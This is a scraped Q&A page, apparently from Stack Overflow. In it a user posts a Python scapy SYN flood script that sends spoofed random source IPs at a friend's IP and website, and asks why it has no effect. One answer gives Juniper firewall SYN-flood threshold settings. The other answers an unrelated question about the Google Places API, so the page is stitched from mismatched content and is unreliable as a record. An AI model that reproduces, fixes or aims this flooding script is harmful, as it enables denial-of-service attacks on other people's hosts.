'My syn flood python script is not working when I try to flood another ip than mine

This is the attack function:

from copy import error
from ensurepip import version
from pickle import FALSE
from sqlite3 import connect
from struct import pack
from sys import flags  
from tabnanny import verbose
from tkinter.tix import Tree
from scapy.all import *
from scapy.modules.nmap import *



can_attack = False
target_Ip = "friend's ip"
target_Port = 80
attack(target_Ip, target_Port)

def attack(targetIp,targetPort):
     pkt =IP(src=RandIP(), dst= targetIp)/ TCP(sport =RandShort(), dport=targetPort, seq=1505066, flags="S")
     package = pkt/Raw("B"*1200)
     can_attack = True
     while can_attack == True:
         send(package,loop=1,verbose = 0)
    

I tried this code on my ip and everything worked fine, but when I try this script on my friend's ip, he got nothing on wireshark or any internet drops. I tried this on my friend's website and the site stayed intact. 😢



Solution 1:[1]

[edit] user@host# set security screen ids-option zone-syn-flood tcp syn-flood source-threshold 10000 user@host# set security screen ids-option zone-syn-flood tcp syn-flood destination-threshold 10000

Solution 2:[2]

I've been playing around with something similar and I don't think it's particularly easy to get sensible results with the Places API.

As far as I can tell the rankBy option you're using only applies to the nearbysearch endpoint. See the documentation here. However that type of search is based on specific coordinates with the radius limited to 50km. That's fine for local or specific city searches but not so much for wider regions and countries.

The point+of+interest textsearch query you're using isn't too bad but the quality of the results is mixed and seem to get worse the wider the search area you use. For example, if you use query=australia+point+of+interest the top result looks to be the Principality Stadium in Cardiff, UK.

So far the best search criteria I've found covering city and country regions is with things+to+do as part of the query instead, e.g. https://maps.googleapis.com/maps/api/place/textsearch/json?query=things+to+do+paris

The top results for that include Arc de Triomphe, Sacre Coeur, Champ de Mars, Louvre Museum and Eiffel Tower which is a bit more like what you'd expect. The textsearch endpoint doesn't have any sorting available but if you look at enough results you might be able to sort yourself based on something like the rating and user_ratings_total fields in the response.

Sources

This article follows the attribution requirements of Stack Overflow and is licensed under CC BY-SA 3.0.

Source: Stack Overflow

Solution Source
Solution 1 Telekarta tj
Solution 2 chris985